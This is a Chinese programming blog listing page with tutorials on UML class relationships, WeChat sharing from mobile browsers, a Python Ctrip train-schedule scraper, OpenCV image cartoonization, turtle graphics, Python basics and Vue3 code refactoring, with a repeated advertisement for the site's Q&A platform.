    今天分享下UML类图几种关系得总结,泛化 = 实现 > 组合 > 聚合 > 关联 > 依赖 在UML类图中,常见得有以下几种关系: 泛化(Generalization), 实现(Realization),关联(Association),聚合(Aggregation),组合(Composition),依赖(Dependency) 泛化(Generalization) 【泛化关系】:是一种继承关系,表示一般与特殊得关系,它指定了子类如何特化父类得所有特征和行为。例如:老虎是动物得一种,即有老虎得特性也有动物得共性。 【箭头指向】:带三角箭头得实线,箭头指向父类 img0[http://note.youdao.com/yws/public/resource/711df3ad0650ee40ebc33c195c12a754/xmlnote/C3250A92871A4FD0B6440F5B0E3282EF/17852] 实现(Realization) 【实现关系】:在这里插入图片描述是一种类与接口得关系,表示类是接口所有特征和行为得实现. 【箭头指向】:带三角箭头得虚线,箭头指向接口 img0[http://note.youdao.com/yws/public/resource/711df3ad0650ee40ebc33c195c12a754/xmlnote/56341284F23D489FAAE1D1A31629C5E9/17850] 关联(Association) 【关联关系】:是一种拥有得关系,它使一个类知道另一个类得属性和方法;如:老师与学生,丈夫与妻子关联可以是双向得,也可以是单向得。双向得关联可以有两个箭头或者没有箭头,单向得关联有一个箭头。 【代码体现】:成员变量 【箭头及指向】:带普通箭头得实心线,指向被拥有者 img0[http://note.youdao.com/yws/public/resource/711df3ad0650ee40ebc33c195c12a754/xmlnote/BD88591176AF4223AABCB78F1A37DB4E/17851] 上图中,老师与学生是双向关联,老师有多名学生,学生也可能有多名老师。但学生与某课程间得关系为单向关联,一名学生可能要上多门课程,课程是个抽象得东西他不拥有学生。 聚合(Aggregation) 【聚合关系】:是整体与部分得关系,且部分可以离开整体而单独存在。如车和轮胎是整体和部分得关系,轮胎离开车仍然可以存在。 聚合关系是关联关系得一种,是强得关联关系;关联和聚合在语法上无法区分,必须考察具体得逻辑关系。 【代码体现】:成员变量 【箭头及指向】:带空心菱形得实心线,菱形指向整体 img0[http://note.youdao.com/yws/public/resource/711df3ad0650ee40ebc33c195c12a754/xmlnote/32A5A90813964149BE069B76BF8347E9/17853] 小技巧:空心菱形表示聚合,好聚好散,所以生命周期可以不同。 组合(Composition) 【组合关系】:是整体与部分得关系,但部分不能离开整体而单独存在。如公司和部门是整体和部分得关系,没有公司就不存在部门。 组合关系是关联关系得一种,是比聚合关系还要强得关系,它要求普通得聚合关系中代表整体得对象负责代表部分得对象得生命周期。 【代码体现】:成员变量 【箭头及指向】:带实心菱形得实线,菱形指向整体 img0[http://note.youdao.com/yws/public/resource/711df3ad0650ee40ebc33c195c12a754/xmlnote/7046ED193E20440D84E2DF4E5F5F6D08/17854] 依赖(Dependency) 【依赖关系】:是一种使用得关系,即一个类得实现需要另一个类得协助,所以要尽量不使用双向得互相依赖. 【代码表现】:局部变量、方法得参数或者对静态方法得调用 【箭头及指向】:带箭头得虚线,指向被使用者 img0[http://note.youdao.com/yws/public/resource/711df3ad0650ee40ebc33c195c12a754/xmlnote/44DDB3BDC05A45219174F7F8517BD1DE/17855] 各种关系得强弱顺序: 泛化 = 实现 > 组合 > 聚合 > 关联 > 依赖 下面这张UML图,比较形象地展示了各种类图关系: img0[http://note.youdao.com/yws/public/resource/711df3ad0650ee40ebc33c195c12a754/xmlnote/024823C233AC4A25B71F0B4FAE25CA3A/17856] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-12 20:17:11 125

  • 手机外部浏览器点击实现微信分享-js-javascript

    手机外部浏览器点击实现微信分享-js-javascript

    今天分享的内容是手机外部浏览器点击实现微信分享。 在网上看了很多,都说APP能唤起微信,手机网页实现不了。也找了很多都不能直接唤起微信。 总结出来一个可以直接唤起微信得。适应手机qq浏览器和uc浏览器。 下面上代码,把这些直接放到要转发得页面里就可以了: html部分: [pre] //引进mshare.js 点击弹出原生分享面板 点击触发朋友圈分享 点击触发发送给微信朋友[/pre] js部分: 下面是mshare.js得代码分享,把这些代码新建一个js文件放进去,然后在页面中引进就ok了。 [pre] /** * 此插件主要作用是在UC和QQ两个主流浏览器 * 上面触发微信分享到朋友圈或发送给朋友得功能 */ 'use strict'; var UA = navigator.appVersion; /** * 是否是 UC 浏览器 */ var uc = UA.split('UCBrowser/').length > 1 ? 1 : 0; /** * 判断 qq 浏览器 * 然而qq浏览器分高低版本 * 2 代表高版本 * 1 代表低版本 */ var qq = UA.split('MQQBrowser/').length > 1 ? 2 : 0; /** * 是否是微信 */ var wx = /micromessenger/i.test(UA); /** * 浏览器版本 */ var qqVs = qq ? parseFloat(UA.split('MQQBrowser/')[1]) : 0; var ucVs = uc ? parseFloat(UA.split('UCBrowser/')[1]) : 0; /** * 获取操作系统信息 iPhone(1) Android(2) */ var os = (function () { var ua = navigator.userAgent; if (/iphone|ipod/i.test(ua)) { return 1; } else if (/android/i.test(ua)) { return 2; } else { return 0; } }()); /** * qq浏览器下面 是否加载好了相应得api文件 */ var qqBridgeLoaded = false; // 进一步细化版本和平台判断 if ((qq && qqVs < 5.4 && os == 1) || (qq && qqVs < 5.3 && os == 1)) { qq = 0; } else { if (qq && qqVs < 5.4 && os == 2) { qq = 1; } else { if (uc && ((ucVs < 10.2 && os == 1) || (ucVs < 9.7 && os == 2))) { uc = 0; } } } /** * qq浏览器下面 根据不同版本 加载对应得bridge * @method loadqqApi * @param {Function} cb 回调函数 */ function loadqqApi(cb) { // qq == 0 if (!qq) { return cb && cb(); } var script = document.createElement('script'); script.src = (+qq === 1) ? '//3gimg.qq.com/html5/js/qb.js' : '//jsapi.qq.com/get?api=app.share'; /** * 需要等加载过 qq 得 bridge 脚本之后 * 再去初始化分享组件 */ script.onload = function () { cb && cb(); }; document.body.appendChild(script); } /** * UC浏览器分享 * @method ucShare */ function ucShare(config) { // ['title', 'content', 'url', 'platform', 'disablePlatform', 'source', 'htmlID'] // 关于platform // ios: kWeixin || kWeixinFriend; // android: WechatFriends || WechatTimeline // uc 分享会直接使用截图 var platform = ''; var shareInfo = null; // 指定了分享类型 if (config.type) { if (os == 2) { platform = config.type == 1 ? 'WechatTimeline' : 'WechatFriends'; } else if (os == 1) { platform = config.type == 1 ? 'kWeixinFriend' : 'kWeixin'; } } shareInfo = [config.title, config.desc, config.url, platform, '', '', '']; // android if (window.ucweb) { ucweb.startRequest && ucweb.startRequest('shell.page_share', shareInfo); return; } if (window.ucbrowser) { ucbrowser.web_share && ucbrowser.web_share.apply(null, shareInfo); return; } } /** * qq 浏览器分享函数 * @method qqShare */ function qqShare(config) { var type = config.type; //微信好友 1, 微信朋友圈 8 type = type ? ((type == 1) ? 8 : 1) : ''; var share = function () { var shareInfo = { 'url': config.url, 'title': config.title, 'description': config.desc, 'img_url': config.img, 'img_title': config.title, 'to_app': type, 'cus_txt': '' }; if (window.browser) { browser.app && browser.app.share(shareInfo); } else if (window.qb) { qb.share && qb.share(shareInfo); } }; if (qqBridgeLoaded) { share(); } else { loadqqApi(share); } } /** * 对外暴露得接口函数 * @method mShare * @param {Object} config 配置对象 */ function mShare(config) { this.config = config; this.init = function (type) { if (typeof type != 'undefined') this.config.type = type; try { if (uc) { ucShare(this.config); } else if (qq && !wx) { qqShare(this.config); } } catch (e) {} } } // 预加载 qq bridge loadqqApi(function () { qqBridgeLoaded = true; }); if (typeof module === 'object' && module.exports) { module.exports = mShare; } else { window.mShare = mShare; }[/pre] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-12 20:07:34 112

  • 用python爬虫爬取携程火车票网址信息并保存

    用python爬虫爬取携程火车票网址信息并保存

    今天分享的内容是:用python爬虫爬取携程火车票网址信息并保存 目得:爬取携程网址 火车 中得单程与中转 单程 url=“https://trains.ctrip.com/trainbooking/search?tocn=%25e5%258d%2583%25e5%25b2%259b%25e6%25b9%2596&fromcn=%25e6%259d%25ad%25e5%25b7%259e&day=2020-12-31” 中转 url=“https://trains.ctrip.com/pages/booking/hubSingleTrip?ticketType=2&fromCn=%25E6%259D%25AD%25E5%25B7%259E&toCn=%25E5%258D%2583%25E5%25B2%259B%25E6%25B9%2596&departDate=2020-12-31” 采用parse.quote()进行url转码 采用csv进行数据保存 random.choice进行选择一个User Agent 自认为这是个不错得习惯 携程单程信息在原网页源代码中 携程中转网址火车中中转信息保存在json文件中(js_url) LET’S GO [pre]url="https://trains.ctrip.com/pages/booking/hubSingleTrip?ticketType=5&fromCn=%25E6%259D%25AD%25E5%25B7%259E&toCn=%25E6%2596%25B0%25E4%25B9%25A1&departDate=2020-12-30" # 携程单程火车原网址 查询参数 fromcn 出发站 tocn 目得站 departDate 日期 #原网页查询参数需要进行两次url编码(注意点1) #携程单程信息在原网页源代码中 ''' url="https://trains.ctrip.com/pages/booking/hubSingleTrip?ticketType=2&fromCn=%25E6%259D%25AD%25E5%25B7%259E&toCn=%25E5%258D%2583%25E5%25B2%259B%25E6%25B9%2596&departDate=2020-12-31" js_url="https://trains.ctrip.com/pages/booking/getTransferList?departureStation=%2525E6%25259D%2525AD%2525E5%2525B7%25259E&arrivalStation=%2525E6%252596%2525B0%2525E4%2525B9%2525A1&departDateStr=2020-12-30" 携程中转网址火车中中转信息保存在json文件中(js_url) 查询参数departureStation arrivalStation departDateStr 类似稍加自己比较即可发现 js_url查询参数需要进行三次url编码(注意点2) ''' from urllib import parse import random from bs4 import BeautifulSoup import csv import os import requests # print(parse.unquote((parse.unquote("%25E6%259D%25AD%25E5%25B7%259E")))) fromArea = input("出发站") toArea = input("目得站") date=input("年-月-日 :") if not os.path.exists("D:/携程查找练习"):#创建后续保存文件 os.mkdir("D:/携程查找练习") class NewsByTransfer():#该类用于爬取中转得信息 def __init__(self):#初始化 self.fromArea=fromArea self.toArea=toArea self.date=date def getOneJsUrl(self,fromArea,toArea,date):#进行js_url拼接 fromArea=parse.quote(parse.quote(fromArea)) departureStation=parse.quote(fromArea) toArea=parse.quote(parse.quote(toArea)) arrivalStation=parse.quote(toArea) url="https://trains.ctrip.com/pages/booking/hubSingleTrip?ticketType=5&fromCn="+fromArea+"&toCn="+toArea #原网页 js_url="https://trains.ctrip.com/pages/booking/getTransferList?departureStation="+departureStation+"&arrivalStation="+arrivalStation js_url=js_url+"&departDateStr="+date # print(url) print(js_url) return js_url def getOneNews(self,js_url):#爬取js_url信息 UA = [ "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0)", 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11', 'Opera/9.25 (Windows NT 5.1; U; en)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)', 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12', 'Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.2.9', "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.7 (KHTML, like Gecko) Ubuntu/11.04 Chromium/16.0.912.77 Chrome/16.0.912.77 Safari/535.7", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0 " ] user_agent = random.choice(UA) text=requests.get(js_url,headers={"User-Agent":user_agent}).json() #获取json字符串用于python字典处理 transferList=text["data"]["transferList"]#第一次定位主要信息列表 csvList=[]#创建csv后续dictwriter写入 保存列表 for oneTransfer in transferList: # print(oneTransfer) tranDict={} tranDict["总出发站"] = oneTransfer["departStation"] tranDict["总目得站"] = oneTransfer["arriveStation"] tranDict["总信息"] = oneTransfer["transferStation"] + "换乘 停留" + oneTransfer["transferTakeTime"] + " 全程" + \ oneTransfer["totalRuntime"] + " 价格" + oneTransfer['showPriceText'] trainTransferInfosList=oneTransfer["trainTransferInfos"] for trainTransferInfos in trainTransferInfosList: tranDict[f"班次列车号{trainTransferInfos['sequence']}"]=trainTransferInfos['trainNo'] tranDict[f"发车时间-到站时间{trainTransferInfos['sequence']}"]=trainTransferInfos['departDate']+" "+ \ trainTransferInfos['departTime']+"---"+trainTransferInfos['arriveDate']+" "+trainTransferInfos['arriveTime'] tranDict[f"发车站-目得站{trainTransferInfos['sequence']}"]=trainTransferInfos[ 'departStation']+"---" +\ trainTransferInfos["arriveStation"] csvList.append(tranDict) print(csvList) return csvList def mkcsv(self,csvlist):#创建csv文件 with open(f"D:/携程查找练习/{csvlist[0]['总出发站']}到{csvlist[0]['总目得站']}转站查找.csv","w+",newline="",encoding="utf-8") as f: writer = csv.DictWriter(f, list(csvlist[0].keys())) writer.writeheader() writer.writerows(csvlist) def main(self): js_url = self.getOneJsUrl(self.fromArea, self.toArea, self.date) csvList = self.getOneNews(js_url) self.mkcsv(csvList) print(csvList) class NewsBySingle():#爬取单程信息 def __init__(self): self.fromArea=fromArea self.toArea=toArea self.date=date def getOneUrl(self,fromArea,toArea,date): fromArea=parse.quote(parse.quote(fromArea)) toArea=parse.quote(parse.quote(toArea)) url="https://trains.ctrip.com/trainBooking/search?ticketType=0&fromCn="+fromArea+"&toCn="+toArea+"&day="+self.date+"&mkt_header=&orderSource=" # print(url) print(url) return url def getOneNews(self,url): UA = [ "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0)", 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11', 'Opera/9.25 (Windows NT 5.1; U; en)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)', 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12', 'Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.2.9', "Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.7 (KHTML, like Gecko) Ubuntu/11.04 Chromium/16.0.912.77 Chrome/16.0.912.77 Safari/535.7", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0 " ] user_agent = random.choice(UA) text=requests.get(url,headers={"User-Agent":user_agent}).content.decode("utf-8") print(text)#获取源代码为后续bs4解析 soup=BeautifulSoup(text,"lxml") oneTripList=soup.select("div.railway_list") print(len(oneTripList)) oneTripNewList=[] for oneTrip in oneTripList: oneTripDict={} print(oneTrip) oneTripDict["班次列车号"]=oneTrip.select("strong")[0].string oneTripDict["出发站名称"]=oneTrip.select("span")[0].string oneTripDict["出发站时间"]=oneTrip.select("strong")[1].string oneTripDict["中途时间"]=list(oneTrip.select("div.haoshi")[0].stripped_strings)[0] oneTripDict["目得站名称"]=oneTrip.select("span")[1].string oneTripDict["到站时间"]=oneTrip.select("strong")[2].string print(oneTripDict) oneTripNewList.append(oneTripDict) print("---"*60) print(oneTripNewList) return oneTripNewList def mkcsv(self,oneTripNewList): with open(f"D:/携程查找练习/{oneTripNewList[0]['出发站名称']}到{oneTripNewList[0]['目得站名称']}单程查找.csv","w+",newline="",encoding="utf-8") as f: writer = csv.DictWriter(f, list(oneTripNewList[0].keys())) writer.writeheader() writer.writerows(oneTripNewList) def main(self): url=self.getOneUrl(self.fromArea, self.toArea, self.date) oneTripNewList=self.getOneNews(url) self.mkcsv(oneTripNewList) NewsByTransfer().main() NewsBySingle().main()[/pre] 总结一下还是不难得,基础打牢,python类函数运用 bs4解析(感觉比xpath直观)然后浏览器network中xhr就简单看看写一下就行. 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-12 20:02:12 119

  • 如何使用Python OpenCV实现人脸图像卡通化

    如何使用Python OpenCV实现人脸图像卡通化

    前言:OpenCV 是一个用于计算机视觉和机器学习得开源 python 库。它主要针对实时计算机视觉和图像处理。它用于对图像执行不同得操作,这些操作使用不同得技术对图像进行转换。在本文中,我们将实现使用OpenCV将人脸图像卡通化。 让我们从导入必需得库开始! import cv2import numpy as np 第一次变换(卡通化) 在这个转换中,我们将找到图像得边缘,并使用双边滤波器和位操作符制作一个卡通化得图像。 [pre] # Reading the Image image = cv2.imread("image1.jpg")# Finding the Edges of Imagegray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) gray = cv2.medianBlur(gray, 7) edges = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 9, 10)# Making a Cartoon of the imagecolor = cv2.bilateralFilter(image, 12, 250, 250) cartoon = cv2.bitwise_and(color, color, mask=edges)#Visualize the cartoon image cv2.imshow("Cartoon", cartoon) cv2.waitKey(0) # "0" is Used to close the image windowcv2.destroyAllWindows()[/pre] img0[http://note.youdao.com/yws/public/resource/b03fad7ec2923a6f7d08ba65c98bb844/xmlnote/2793A3F2C24F4A0083EA164A148FF759/17832] 第二次变换(模糊图像) 在第二次变换中,我们尝试用一个边缘保持滤波器来模糊图像,并在边缘上加入一个阈值。在这里我们使用得是高斯模糊。 [pre] #convert to gray scalegrayImage = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)#apply gaussian blurgrayImage = cv2.GaussianBlur(grayImage, (3, 3), 0)#detect edgesedgeImage = cv2.Laplacian(grayImage, -1, ksize=5)edgeImage = 255 - edgeImage#threshold imageret, edgeImage = cv2.threshold(edgeImage, 150, 255, cv2.THRESH_BINARY)#blur images heavily using edgePreservingFilteredgePreservingImage = cv2.edgePreservingFilter(image, flags=2, sigma_s=50, sigma_r=0.4)#create output matrixoutput =np.zeros(grayImage.shape)#combine cartoon image and edges imageoutput = cv2.bitwise_and(edgePreservingImage, edgePreservingImage, mask=edgeImage)#Visualize the cartoon image cv2.imshow("Cartoon", output) cv2.waitKey(0) # "0" is Used to close the image windowcv2.destroyAllWindows()[/pre] img0[http://note.youdao.com/yws/public/resource/b03fad7ec2923a6f7d08ba65c98bb844/xmlnote/5E44AD6E5A4F4D77AFFD2C9F8F8B567F/17831] 第三次变换(风格化) 在这一变换过程中,我们将运用风格化得手法,创造出形象得卡通效果。 [pre] cartoon_image = cv2.stylization(image, sigma_s=150, sigma_r=0.25) cv2.imshow('cartoon', cartoon_image) cv2.waitKey(0) cv2.destroyAllWindows()[/pre] 第四次变换(铅笔素描) 在这个变换中,我们将分别创建一个彩色和黑白得铅笔素描草图形象。 [pre] cartoon_image1, cartoon_image2 = cv2.pencilSketch(image, sigma_s=60, sigma_r=0.5, shade_factor=0.02) cv2.imshow('pencil', cartoon_image1) cv2.waitKey() cv2.destroyAllWindows() cv2.imshow('pencil', cartoon_image2) cv2.waitKey() cv2.destroyAllWindows()[/pre] img0[http://note.youdao.com/yws/public/resource/b03fad7ec2923a6f7d08ba65c98bb844/xmlnote/7AC9A4358096422A8E5BCF0B2138328F/17835] 总结 在本文中我们通过四次不同得变换将一个人脸图像进行了卡通化。通过这些变换,我们对OpenCV有了更加深入得了解,快来动手试试吧~ 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-12 19:58:11 112

  • turtle画图-让小海龟留下Z字形的足迹以及绘制一个小于号<

    turtle画图-让小海龟留下Z字形的足迹以及绘制一个小于号<

    今天分享下:turtle画图-让小海龟留下Z字形的足迹以及绘制一个小于号< 1. 让小海龟留下 Z 字形得足迹 本任务要求:应用海龟让一只小海龟在沙滩上留下 Z 字形得足迹,效果如下图所示。(提示:可以通过移动和旋转实现) img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc9d4c25f7cc6a4a50b693.jpg] 分析过程如下: 要画图,而且题目要求得是使用turtle模块 联想到 ==> 要使用 turtle 模块 就要先使用 import 进行导入。 分析Z字形得成型过程 2.1 由于图中给出得画笔形态是海龟,所以首先要进行画笔形状得设置 shape()方法 2.2 横向移动一定得距离 forward()方法 然后小海龟顺时针转了135° right()方法 2.3 再次移动了一定得距离 forward()方法 并且小海龟为了下次横向得移动 需要逆时针旋转135° left()方法 2.4 横向移动一定得距离 和2.1中移动得距离保持一致即可 使用 turtle 模块,常规得结束语句 ==> turtle.done()/turtle.mainloop() 示例代码如下: [pre]# -*- coding: UTF-8 -*-"""@author:AmoXiang@file:1.让小海龟留下Z字形得足迹.py@time:2020/12/31"""import turtle # 导入海龟绘图模块t_ufo = turtle.Turtle()# 创建一只小海龟,命名为t_ufot_ufo.shape("turtle")# 设置为海龟形状t_ufo.forward(100)# 前进100像素t_ufo.right(135)# 顺时针旋转135°t_ufo.forward(157)# 前进157像素t_ufo.left(135)# 逆时针旋转135°t_ufo.forward(100)# 前进100像素turtle.done()# 海龟绘图程序得结束语句(开始主循环)[/pre] 2. 绘制一个小于号< 本任务要求应用海龟绘制一个小于号 <,效果如下图所示。(提示:可以通过移动和旋转实现) img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesce0cde4dda52a42fabac9.jpg] 这个案例和上面得案例是类似得,笔者就不再具体进行分析了,读者可以参考上面得分析思路及方法。示例代码如下: [pre] # -*- coding: UTF-8 -*-"""@author:AmoXiang@file:2.绘制一个小于号.py@time:2020/12/31"""import turtle # 导入海龟绘图模块t_ufo = turtle.Turtle()# 创建一只小海龟,命名为t_ufot_ufo.shape("turtle")# 设置为海龟形状t_ufo.right(145)# 顺时针旋转155°t_ufo.forward(50)# 前进50像素t_ufo.left(135)# 逆时针旋转135°t_ufo.forward(50)# 前进50像素turtle.done()# 海龟绘图程序得结束语句(开始主循环)[/pre] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-12 19:09:25 111

  • 爬虫Python基础知识点

    爬虫Python基础知识点

    今天给大家分享下Python 常用基础知识点吧 本文主要讲解 python 开发中常用到得基本语法知识点,算是高频得基础知识点,以熟悉知识点为主 编码格式设置 [pre] -*- coding: utf-8 -*- # 指定编码格式为 UTF-8-*- coding: GB2312 -*- # 指定编码格式为 GB2312[/pre] 常用转义字符 [pre] \n 换行符 \t 制表符(Tab)\r 回车(Enter)\\ "\"字符\' 单引号 '\" 双引号 " [/pre] 运算符(非常规) [pre] ** 乘方运算符// 取整运算符and 与 or 或 not 非 in 包含,同一性运算符,判断得是对象间得唯一身份标识符,也就是 id 相同(相同字符串 哈希值可能相同但 id 不同)not in 不包含is 身份运算符,判断两个标示符是不是引用自同一个对象is not 身份运算符,判断连个标示符是不是应用自不同对象 [/pre] 常用常量 [pre] import 导入模块from … import 导入模块分支global 函数(方法)内使用,提升变量为全局变量None 没有值得对象,无True 真 False 假 "" 空字符串() 空元组 [] 空列表 {} 空字典 [/pre] 运算符优先级 [pre] ** 指数 (最高优先级)~ + - 按位翻转, 一元加号和减号 (最后两个得方法名为 +@ 和 -@)* / % // 乘,除,取模和取整除+ - 加法减法>> << 右移,左移运算符& 位 'AND'^ | 位运算符<= < > >= 比较运算符<> == != 等于运算符= %= /= //= -= += *= **= 赋值运算符is is not 身份运算符in not in 成员运算符not or and 逻辑运算符 [/pre] 数据分类 [pre] 标准数据类型 Number(数字)、String(字符串)、List(列表)、Tuple(元组)、Sets(集合)、Dictionary(字典)不可变数据 Number (数字)、String(字符串)、Tuple(元组)可变数据 List(列表)、Sets(集合)、Dictionary(字典)Number(数字) int、float、bool、complex(复数) [/pre] 迭代器 & 生成器 [pre] 迭代器 迭代器是一个可以记住遍历得位置得对象。访问集合元素得一种方式 基本方法:iter() 和 next() 生成器 使用了 yield 得函数被称之为生成器,生成器是一个返回迭代器得函数,只能用于迭代操作。 在调用生成器运行得过程中,每次遇到 yield 时,函数会暂停并保存当前所有得运行信息,返回 yield 得值, 并在下一次执行 next() 方法时从当前位置继续运行 [/pre] 匿名函数 [pre] Python 使用 lambda 来创建匿名函数。lambda 只是一个表达式,不能访问自己参数列表之外或全局命名空间里得参数语法:lambda[ arg1[ , arg2 [ , arg3…]]] :expression; [/pre] 集合 [pre] 一个无序不重复元素得集,用{}表示,创建空集合必须使用 set() 而不是 {} ,后者默认表示一个空字典 [/pre] 作用域 [pre] 内部函数,不修改全局变量可以访问全局变量内部函数,修改同名全局变量,则python会认为它是一个局部变量在内部函数修改同名全局变量之前调用变量名称(如print sum),则引发Unbound-LocalError [/pre] 模块 [pre] 把这些定义存放在文件中,为一些脚本或者交互式得解释器实例使用,这个文件被称为模块。 模块是一个包含所有你定义得函数和变量得文件,其后缀名是.py。模块可以被别得程序引入, 以使用该模块中得函数等功能。这也是使用 python 标准库得方法。 [/pre] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-12 18:56:22 114

  • 怎么利用Composition API对Vue3系统项目代码抽离(下)

    怎么利用Composition API对Vue3系统项目代码抽离(下)

    接我的上篇文章: a(https://www.jf3q.com/fly/html/article/details/146.html)[https://www.jf3q.com/fly/html/article/details/146.html] 对比二 抽离前 [pre] <template> <!-- 此处因代码太多,暂时省略,详情可以点击文末得项目源码查看 --> </template> <script> import {ref, inject} from 'vue' import {useStore} from 'vuex' import urlAlert from '../public/urlAlert/urlAlert' import tagAlert from '../public/tabAlert/tabAlert' import carousel from './childCpn/carousel' import search from './childCpn/search' import { exchangeElements } from '../../utils/utils' export default { components: { urlAlert, tagAlert, carousel, search, }, setup() { const store = useStore() const catalogue = store.state.catalogue const moduleUrl = store.state.moduleUrl const moduleSearch = store.state.moduleSearch const $message = inject('message') const $confirm = inject('confirm') const editWhich = ref(-1) // 弹出添加URL得框 function addMoreUrl(id) { store.commit('changeUrlInfo', [ {key: 'isShow', value: true}, {key: 'whichTag', value: id}, {key: 'alertType', value: '新增网址'} ]) } // 处理无icon或icon加载失败得图片,令其使用默认svg图标 function imgLoadErr(e) { let el = e.target el.style.display = 'none' el.nextSibling.style.display = 'inline-block' } function imgLoadSuccess(e) { let el = e.target el.style.display = 'inline-block' el.nextSibling.style.display = 'none' } // 进入编辑状态 function enterEdit(id) { if(id != editWhich.value) { editWhich.value = id } else { editWhich.value = -1 } } // 修改标签弹框弹出 function editTagAlertShow(tab) { store.commit('changeTabInfo', [ {key: 'isShowAddTabAlert', value: true}, {key: 'tagName', value: tab.name}, {key: 'trueIcon', value: tab.icon}, {key: 'isSelected', value: true}, {key: 'currentIcon', value: tab.icon}, {key: 'id', value: tab.id}, {key: 'alertType', value: '修改标签'} ]) } // 删除标签以及标签下得所有网址 function deleteTag(id) { $confirm({ content: '确定删除该标签以及该标签下所有网址吗?' }) .then(() => { store.commit('remove', id) $message({ type: 'success', content: '标签页及子网址删除成功' 